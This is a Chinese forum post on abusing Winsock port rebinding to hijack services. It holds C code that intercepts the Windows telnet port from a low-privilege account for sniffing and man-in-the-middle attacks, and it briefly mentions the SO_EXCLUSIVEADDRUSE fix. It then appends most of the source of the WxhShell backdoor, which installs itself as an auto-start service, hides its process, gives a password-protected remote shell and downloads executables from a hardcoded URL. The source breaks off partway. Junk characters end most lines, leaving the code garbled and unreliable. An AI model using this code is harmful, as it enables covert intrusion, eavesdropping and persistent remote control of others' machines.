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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,WWd%DF)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 39 }e }W"  
,;}   
  saddr.sin_family = AF_INET; +pqbl*W;1  
E7/UsUV.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8*u'D@0  
;GM`=M4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )1Bz0:  
qY8; k #  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >KuNHuHu  
n~6$CQ5dF(  
  这意味着什么?意味着可以进行如下的攻击: u!D?^:u=)  
&mN]U<N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;>Z+b#C[  
y_Lnk=Q ^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n )X%&_  
P 2_!(FZ<l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C&Q[[k"kb  
gS<p~LPf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tRU/[?!  
!O"2)RU1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 []@@  
y`zdI_!7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0J'^<G TL  
sZ=!*tb-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0x~+=GUN  
F}l3\uC]  
  #include _'cB<9P  
  #include DL V ny]  
  #include ppIXS(  
  #include    'Grej8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1oO(;--u_  
  int main() ;U4O` pZ  
  { }}k%.Qb  
  WORD wVersionRequested; x~}&t+FK  
  DWORD ret; #WG}"[ ,c  
  WSADATA wsaData; >oq\`E  
  BOOL val; h<?Px"& J  
  SOCKADDR_IN saddr; \uHC9}0  
  SOCKADDR_IN scaddr; Ag0 6M U  
  int err; ltNI+G  
  SOCKET s; v+x<X5u  
  SOCKET sc; z{3`nd,  
  int caddsize; DtBvfYO8)>  
  HANDLE mt; HR?T  
  DWORD tid;   OiA uL:D  
  wVersionRequested = MAKEWORD( 2, 2 ); !q$VnqFk  
  err = WSAStartup( wVersionRequested, &wsaData ); &w^9#L  
  if ( err != 0 ) { |e#W;q$v  
  printf("error!WSAStartup failed!\n"); eMdP4<u  
  return -1; -sv%A7i  
  } r jn:E  
  saddr.sin_family = AF_INET; Caj H;K\  
   >uZc#Zt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k 76<CX  
 Me z&@{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UBW,Q+Q  
  saddr.sin_port = htons(23); D6lzc f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !)oQ9,N  
  { ^"<Bk<b(  
  printf("error!socket failed!\n"); m#WXZr  
  return -1; Yz2N(g[  
  } =A,T:!}'  
  val = TRUE; L=;T$4+p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wclj9&k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k+[oYd  
  { J1(SL~e],  
  printf("error!setsockopt failed!\n"); ~c v|,  
  return -1; +vJ}'uR3P  
  } }8 ;,2E*z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H5d@TB, `  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pFd{Tdh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 91R7Rrne  
vxf09v{-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uDG>m7(}/h  
  { Fp?M@  
  ret=GetLastError(); #@YKNS[  
  printf("error!bind failed!\n"); Ge=6l0  
  return -1; 5I[:.o0  
  } }#.OJub  
  listen(s,2); e%:vLE 9  
  while(1) |^Yz*r?BJ  
  { PSAEW.L  
  caddsize = sizeof(scaddr); .I|b9$V  
  //接受连接请求 vO?sHh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Zt41fPQ  
  if(sc!=INVALID_SOCKET) /kr|}`# Z  
  { [H!do$[>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @P0rNO %y  
  if(mt==NULL) VG7#C@>Z  
  { vt"bB  
  printf("Thread Creat Failed!\n"); bO$KV"*!  
  break; 1h`F*:nva  
  } ]Rf$&7`g{  
  } U43U2/^  
  CloseHandle(mt); t^B s3;E^  
  } {TJ "O  
  closesocket(s); 8@;R2]Q  
  WSACleanup(); o:UNSr  
  return 0; )RFY2 }  
  }   %! Sjbh  
  DWORD WINAPI ClientThread(LPVOID lpParam) GZ5DI+3  
  { 4VF]t X?o  
  SOCKET ss = (SOCKET)lpParam; (JOR: 1aT  
  SOCKET sc; Z! /_H($  
  unsigned char buf[4096]; ,*V%  
  SOCKADDR_IN saddr; 4j+M<g  
  long num; ?gAwMP(>  
  DWORD val;  \v:Z;EbX  
  DWORD ret; k=d _{2 ~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,,j >2Ts  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /w6'tut  
  saddr.sin_family = AF_INET; zvnd@y{[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /!5cf;kl*l  
  saddr.sin_port = htons(23); evE:FiDm(j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r;(^]Soz  
  { OJydt;a  
  printf("error!socket failed!\n"); o6x8j z  
  return -1; &!:mL],  
  } u9q#L.Ij  
  val = 100; wmbG$T%k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (@ BB @G  
  { AVz907h8  
  ret = GetLastError(); DcRoW  
  return -1; b~ig$!N]  
  } 6L~5qbQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \qW^AD(it<  
  { T|$tQgY^  
  ret = GetLastError(); l9%ckC*q  
  return -1; u1'l4VgT  
  } Wxj(3lg/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Sd I>  
  { jv29,46K  
  printf("error!socket connect failed!\n"); bB/fU7<{)u  
  closesocket(sc); 66W J=? JV  
  closesocket(ss); YuO!Y9iEm  
  return -1; Cvt/ot-J?  
  } q2Sc{E>[  
  while(1) A] 'XC"lS  
  { n[a%*i6x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hE,-CIRg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R4[|f0l}s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #8vl2qWbi  
  num = recv(ss,buf,4096,0); DM)Re~*  
  if(num>0) A)SnPbI-p  
  send(sc,buf,num,0); _!Z}HCk  
  else if(num==0) qpf|.m  
  break; 5 r<cna  
  num = recv(sc,buf,4096,0); B.Z5+MgM  
  if(num>0) 04X/(74  
  send(ss,buf,num,0); sx[mbKj<  
  else if(num==0) ZI :wJU:f  
  break; D_z&G)  
  } Y!u">M#@  
  closesocket(ss); Cw.DLg  
  closesocket(sc); }p9#Bzc  
  return 0 ; ZD?LsD3  
  } n#P?JyGm1g  
TuwSJS7  
7S_"h*Ud  
========================================================== 5Yk|  
o(i?_4 E  
下边附上一个代码,,WXhSHELL @-1VN;N  
YpSK |(  
========================================================== a\ MJh+K  
Q;z'"P   
#include "stdafx.h" >O1u![9K|w  
,I f9w$(z  
#include <stdio.h> W\ARCcTQ  
#include <string.h> (iO/@iw  
#include <windows.h> n5#9o},oK  
#include <winsock2.h> m0Uk*~Gz  
#include <winsvc.h> ]>(pQD  
#include <urlmon.h> 2F,?}jJ.K  
&:C(,`~  
#pragma comment (lib, "Ws2_32.lib") G>2: WQ/  
#pragma comment (lib, "urlmon.lib") 'Hq#9?<2M  
tF!C']  
#define MAX_USER   100 // 最大客户端连接数 Oh=Kl3xs  
#define BUF_SOCK   200 // sock buffer ^S(["6OJ(  
#define KEY_BUFF   255 // 输入 buffer .X4UDZQg  
y 0fI7:e3  
#define REBOOT     0   // 重启 0)|;uW  
#define SHUTDOWN   1   // 关机 gEq";B%?  
l2 #^}-  
#define DEF_PORT   5000 // 监听端口 > lK:~~1  
GtqA@&5&  
#define REG_LEN     16   // 注册表键长度 q+67Wc=  
#define SVC_LEN     80   // NT服务名长度 g.Kyfs4`  
.uo:fxbd2  
// 从dll定义API 9aKCO4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5[+E?4,&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x@VZJrQQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N2EX`@_2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2s`~<EF N  
n#5pd;!n  
// wxhshell配置信息 "4QD\k5  
struct WSCFG { &,=t2_n  
  int ws_port;         // 监听端口 G"p rq&  
  char ws_passstr[REG_LEN]; // 口令 yuZh ak  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ac Y!  
  char ws_regname[REG_LEN]; // 注册表键名 d a.6Z!a  
  char ws_svcname[REG_LEN]; // 服务名 yuB\Z/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8&y3oxA,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^ G>/;mZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =/^{Pn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FPuF1@K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j2!^iGS}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z]Mu8  
EDGAaN*Q  
}; p~t5PU*(  
+JBYGYN&K  
// default Wxhshell configuration b@N*W]  
struct WSCFG wscfg={DEF_PORT, + gP 4MP  
    "xuhuanlingzhe", @1peJJ{  
    1, 8IihG \  
    "Wxhshell", JI~@H /j  
    "Wxhshell", ( |Xc_nC  
            "WxhShell Service", pH!8vnoA  
    "Wrsky Windows CmdShell Service", 7`t[|o  
    "Please Input Your Password: ", q+Qrc]>-f  
  1, ~_yz\;#  
  "http://www.wrsky.com/wxhshell.exe", zlN<yZB^  
  "Wxhshell.exe" 9y&&6r<I  
    }; #-FfyxQ8ai  
Eh?,-!SUQn  
// 消息定义模块 C'//(gjQ-G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vbpt?1:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zF=E5TL-,4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ru^j~Cj5  
char *msg_ws_ext="\n\rExit."; [=KA5c<  
char *msg_ws_end="\n\rQuit."; F$&{@hd  
char *msg_ws_boot="\n\rReboot..."; =5X(RGK  
char *msg_ws_poff="\n\rShutdown..."; hX sH9R  
char *msg_ws_down="\n\rSave to "; VZ$FTM^b8  
%N-f9o8  
char *msg_ws_err="\n\rErr!"; Mhj.3nN  
char *msg_ws_ok="\n\rOK!"; km#Rh^  
y e1hcQ  
char ExeFile[MAX_PATH]; "': u#UdS  
int nUser = 0; _,9/g^<  
HANDLE handles[MAX_USER]; 6`hHx=L  
int OsIsNt; o;Ma)/P  
.R>4'#8q  
SERVICE_STATUS       serviceStatus; J |TA12s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SXfAw)-n  
){{]3r  
// 函数声明  D^JuL6U  
int Install(void); G8voqP  
int Uninstall(void); 3a]Omuu|=  
int DownloadFile(char *sURL, SOCKET wsh); j; )-K 3Ia  
int Boot(int flag); =WP`i29j9}  
void HideProc(void); :%vD hMHa  
int GetOsVer(void); $X:r&7t+Q[  
int Wxhshell(SOCKET wsl);  d365{  
void TalkWithClient(void *cs); )'gO?cN  
int CmdShell(SOCKET sock); C'jE'B5b  
int StartFromService(void); bMpCQ  
int StartWxhshell(LPSTR lpCmdLine); J+6bp0RIh  
dKwY\)\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yv[j5\:x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6H_7M(f  
*~%# =o  
// 数据结构和表定义 \a6knd  
SERVICE_TABLE_ENTRY DispatchTable[] = {Deg1V!x>  
{ kdHP v=/U  
{wscfg.ws_svcname, NTServiceMain}, $f^ \fa[  
{NULL, NULL} Kn<z<>vO  
}; F( Iq8DV  
r% ]^(  
// 自我安装 a\m@I_r.N  
int Install(void) JQ.w6aE  
{ <rs"$JJV  
  char svExeFile[MAX_PATH]; <n:j@a\up0  
  HKEY key; zf>r@>S!L  
  strcpy(svExeFile,ExeFile); *q.qO )X}3  
? 3 l4U  
// 如果是win9x系统,修改注册表设为自启动 tv1Z%Mx?Cp  
if(!OsIsNt) { %SJ9Jr,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QjlwT2o'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qc-4;m o  
  RegCloseKey(key); 3bp'UEF^k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oAgO 3x   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d;D8$q)8Q  
  RegCloseKey(key); h (`Erb  
  return 0; pK~K>8\  
    } Kqt,sJ  
  } _,JdL'[d  
} KvrcO#-sL  
else { ^SouA[  
1Goju ey  
// 如果是NT以上系统,安装为系统服务 #D-L>7,jA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qs]7S^yw  
if (schSCManager!=0) pkR+H|  
{ C r~!N|(  
  SC_HANDLE schService = CreateService >=_Z\ wA  
  ( P|Ojt I  
  schSCManager, ,^UNQO*{GI  
  wscfg.ws_svcname, `/mcjKQ&9y  
  wscfg.ws_svcdisp, i YJzSVO  
  SERVICE_ALL_ACCESS, M)oy3y^&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !?7c2QRN  
  SERVICE_AUTO_START, >dW~o_u'QN  
  SERVICE_ERROR_NORMAL, i$A0_ZJKjZ  
  svExeFile, T53|*~u  
  NULL, /Af:{|'$%  
  NULL, D`bH_1X  
  NULL, P'4jz&4  
  NULL, mqg[2VTRP  
  NULL [o=v"s't)  
  ); ^sNj[%I R  
  if (schService!=0) $~V,.RD  
  { zd+_ BPT  
  CloseServiceHandle(schService); ;MqH)M  
  CloseServiceHandle(schSCManager); cj:!uhZp7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ed%8| M3  
  strcat(svExeFile,wscfg.ws_svcname); J0e~s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RfMrGC^?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (P-Bmu!s  
  RegCloseKey(key); {:VUu?5-t;  
  return 0; szY=N7\S*  
    } k{op,n#  
  } Q]Fm4  
  CloseServiceHandle(schSCManager); 'L w4jq  
} z@nJ-*'U8  
} S?bG U8R5  
Zjz< Q-  
return 1; do2~LmeW  
} N|v3a>;*l  
n_Ht{2I  
// 自我卸载 /N`l z>^~  
int Uninstall(void) TS9=A1J#  
{ i9.~cnk  
  HKEY key; h]rF2 B  
Gu-*@C:^&  
if(!OsIsNt) { &J)q_Z8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &VIX?UngE  
  RegDeleteValue(key,wscfg.ws_regname); vpy_piG|  
  RegCloseKey(key); gxX0$\8o7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KB$s7S"=  
  RegDeleteValue(key,wscfg.ws_regname); lD;="b  
  RegCloseKey(key); S aCa  
  return 0; ,7m Rb-*p  
  } ?qeBgkL(B^  
} Md9b_&'  
} smpz/1U  
else { :&#HrD[KT  
v(v Lk\K7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *TpzX y  
if (schSCManager!=0) P< +5So0  
{ -uDB#?q:W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &j\<UPn  
  if (schService!=0) `.f {V  
  { | fMjg'%{}  
  if(DeleteService(schService)!=0) { c5K@<=?,E  
  CloseServiceHandle(schService); =_%i5]89P  
  CloseServiceHandle(schSCManager); 8]6u]3q#  
  return 0; Z&hzsJK{m$  
  } a D*  
  CloseServiceHandle(schService); nR7 usL  
  } a1;P2ikuK  
  CloseServiceHandle(schSCManager); qc}r.'p  
} x&6SjlDb$K  
} (vCMff/ Y1  
B/S~Jn  
return 1; -9XB.)\#  
} VtX9}<Ch~  
UXz0HRRS0  
// 从指定url下载文件 B!|<<;Da6  
int DownloadFile(char *sURL, SOCKET wsh) ~c>*3*  
{ -jc8ku3*  
  HRESULT hr; (3YI>/#  
char seps[]= "/"; ^`Tns6u>  
char *token; ~c~$2Xo  
char *file; PiD%PBmUl  
char myURL[MAX_PATH]; HH>"J /;c,  
char myFILE[MAX_PATH]; ~Qzb<^9]  
gU7@}P  
strcpy(myURL,sURL); ^goa$ uxU  
  token=strtok(myURL,seps); bWN%dn$$M  
  while(token!=NULL) ,EyZ2`|  
  { #rL%K3'  
    file=token; KdT1Nb=  
  token=strtok(NULL,seps); 9o<}*L   
  } s? /#8 `  
=HT:p:S  
GetCurrentDirectory(MAX_PATH,myFILE); Ys@M1o  
strcat(myFILE, "\\"); ecK{+Z'G  
strcat(myFILE, file); bI)ItC_wf!  
  send(wsh,myFILE,strlen(myFILE),0); LRO'o{4$E  
send(wsh,"...",3,0); Y6T1_XG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fk%yi[  
  if(hr==S_OK) mX78Av.z!  
return 0; FgILQ"+  
else MHN?ZHC)  
return 1; 74VN3m  
3[kY:5-  
} KX e/i~AS  
-aCtk$3  
// 系统电源模块 d'~sy>  
int Boot(int flag) 8}m bfu o1  
{ :3k&[W*  
  HANDLE hToken; o8+ZgXct  
  TOKEN_PRIVILEGES tkp; t?NB#/#%x  
0GR\iw$[J  
  if(OsIsNt) { o9dqHm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hLyD#XCFA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G=lcKtMdg  
    tkp.PrivilegeCount = 1; Hl"qLrb4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dmHpF\P5f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |oq27*ix~m  
if(flag==REBOOT) { 4q"x|}a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^h+,Kn0@  
  return 0; Yqs N#E3pf  
} I^iJ^Z]vx  
else { F+A"-k_\T#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BU[ .P]  
  return 0; BJI}gm2y  
} w%=GdA=  
  } TrxZS_  
  else { j4wcxZYY~  
if(flag==REBOOT) { ,?Pn-aC +  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d,}fp)  
  return 0; mQmn&:R  
} ^,L vQW4  
else { H"|xG;cf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 82% ~WQnS  
  return 0; #s JE{Tb  
} p[BF4h{E  
} 3$Ew55  
"(y",!U@  
return 1; -TKS`,#  
} 70p1&Y7or  
("{JNA/  
// win9x进程隐藏模块 <vx/pH)f  
void HideProc(void) rrK&XP&  
{ f,9jK9/$  
(~F{c0 \C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NG-Wn+W@b  
  if ( hKernel != NULL ) fY@Y$S`Fh  
  { yjZ]_.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p<1z!`!P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _@CY_`a  
    FreeLibrary(hKernel); ;Ee!vqD2  
  } u.( WW(/N  
QFOmnbJg  
return; wD|,G!8E2  
} #L}Y Z  
uGm~ Oo  
// 获取操作系统版本 ^R* _Q,o#  
int GetOsVer(void) Bq~!_6fB  
{ NvH9?Ek"  
  OSVERSIONINFO winfo; m1x7f% _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  ,lX5-1H  
  GetVersionEx(&winfo); VuqN)CE^Uq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zx"'WM*  
  return 1; O$jj&  
  else /C(lQs*l  
  return 0; .'o<.\R8  
} &V5[Zj|]  
g z!q  
// 客户端句柄模块 Zw+VcZz3  
int Wxhshell(SOCKET wsl) jR-`ee}y2  
{ s BP.P7u  
  SOCKET wsh; ok;Yxp>  
  struct sockaddr_in client; :0,q>w  
  DWORD myID; ( zQ)EHRD  
[:gPp)f,  
  while(nUser<MAX_USER) v3|-eWet^  
{ ;-p1z% u  
  int nSize=sizeof(client); SH>L3@Za  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Az4+([  
  if(wsh==INVALID_SOCKET) return 1; Jlw<% }r  
9{{QdN8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2N_8ahc  
if(handles[nUser]==0) =}N&c4I[j  
  closesocket(wsh); a1Q|su{H  
else fE"Q:K6r2  
  nUser++; N9LBji;nH  
  } j-wSsjLk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (.Hiee43  
p2T%Zl_  
  return 0; ySP1,xq  
} L/Cp\|~ O  
L[\m{gN  
// 关闭 socket n1OxT"tD  
void CloseIt(SOCKET wsh) .kpL?_  
{ l`9<mL  
closesocket(wsh); 3nb&Z_/e  
nUser--; VW^6qf/,  
ExitThread(0); ConXP\M-  
} y,{=*2Yt  
_@I8B  
// 客户端请求句柄 C Z8Fe$F  
void TalkWithClient(void *cs) ?E1<>4S8  
{ ([~9v@+  
E (DNK  
  SOCKET wsh=(SOCKET)cs; ~hi\*W6jg  
  char pwd[SVC_LEN]; S9~X#tpKe  
  char cmd[KEY_BUFF]; .?7u'%6x?{  
char chr[1]; tfzIem  
int i,j; xWk:7,/  
%:I\M)t}k  
  while (nUser < MAX_USER) { \_?A8F  
`"CIy_m  
if(wscfg.ws_passstr) { ^):m^w.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $hexJzX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~B!O X  
  //ZeroMemory(pwd,KEY_BUFF); 9kmEg$WM  
      i=0; 0* Ox>O>  
  while(i<SVC_LEN) { M B]8iy8  
IS *-MLi  
  // 设置超时 v~|~&Dwq  
  fd_set FdRead; t']d_Vcza  
  struct timeval TimeOut; Ewjzm,2  
  FD_ZERO(&FdRead); 1Rlg%G'  
  FD_SET(wsh,&FdRead); }SL&Y`Y]  
  TimeOut.tv_sec=8; rQ~7BlE  
  TimeOut.tv_usec=0; 9>gxJ7pY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r{y&}gA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qYD$_a  
}Rujh4*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z~[:@mGl  
  pwd=chr[0]; 4.7 YIM  
  if(chr[0]==0xd || chr[0]==0xa) { m80e^  
  pwd=0; G-`4TQ  
  break; X}T/6zk  
  } 0k]$ he;h  
  i++; `Y Hn L4  
    } *|)a@V L  
NfG<!  
  // 如果是非法用户,关闭 socket B/"TaXVU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YbaaX{7^  
} >*jcXao^  
eVL #3|=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ${(v Er#}k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -$W#bqvz^  
Co|3k:I 8  
while(1) { 0=N,y  
>eX&HSoy  
  ZeroMemory(cmd,KEY_BUFF); [ j'L *j  
y$,K^f  
      // 自动支持客户端 telnet标准   =MQpYX  
  j=0; 0ws1S(pq  
  while(j<KEY_BUFF) { kKbq?}W[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z>=IP-,>  
  cmd[j]=chr[0]; Z) nB  
  if(chr[0]==0xa || chr[0]==0xd) { w>-@h>Ln  
  cmd[j]=0; 5^kLNNum  
  break; 0,1x- yD  
  } |'mwr!  
  j++; UC3&:aQ!  
    } ,4kly_$BH  
Q-A:0F&{t  
  // 下载文件 pib i#  
  if(strstr(cmd,"http://")) { L{;Sc_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _=,\uIrk  
  if(DownloadFile(cmd,wsh)) R _#x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =;9 %Q{  
  else MW^(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Z0?1+k  
  } Q7<%_a  
  else { ;E,^bt<U  
G$#Q:]N  
    switch(cmd[0]) { 'G] P09`*)  
  NC]]`O2r@  
  // 帮助 2o8:[3C5  
  case '?': { >"LHr&;m&h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^HS;\8Xvb  
    break; PE!/n6  
  } b2L9%8h  
  // 安装 0L->e(Vf7u  
  case 'i': { 8 $5 y]%!  
    if(Install()) uD'yzR!]+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .bdp=vbA  
    else i rjOGn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z;=h=  
    break; !H)$_d \uj  
    } |nOqy&B  
  // 卸载 ;Dh\2! sr  
  case 'r': { z@bq*':~J  
    if(Uninstall()) ++9?LH4S4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DIsK+1  
    else m1pge4*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )FLDCer  
    break; PjwDth A1  
    } r4YiXss  
  // 显示 wxhshell 所在路径 &Hz{   
  case 'p': { dh9Qo4-{  
    char svExeFile[MAX_PATH]; VtP^fM^{  
    strcpy(svExeFile,"\n\r"); ^pB}eh.@U  
      strcat(svExeFile,ExeFile); fL xGaOT  
        send(wsh,svExeFile,strlen(svExeFile),0); W4OL{p-\/  
    break; Uu_g_b:z  
    } 9Wu c1#  
  // 重启 pyHU +B  
  case 'b': { + 6noQYe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8 x=J&d  
    if(Boot(REBOOT)) |Do+=Gr$t@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]et ]Vkg  
    else { :k; c|MW  
    closesocket(wsh); HZASIsl  
    ExitThread(0); >-&B#Z^,  
    } 8k( zU>^  
    break; -JKl\E  
    } 34*73WxK  
  // 关机 R"wBDWs  
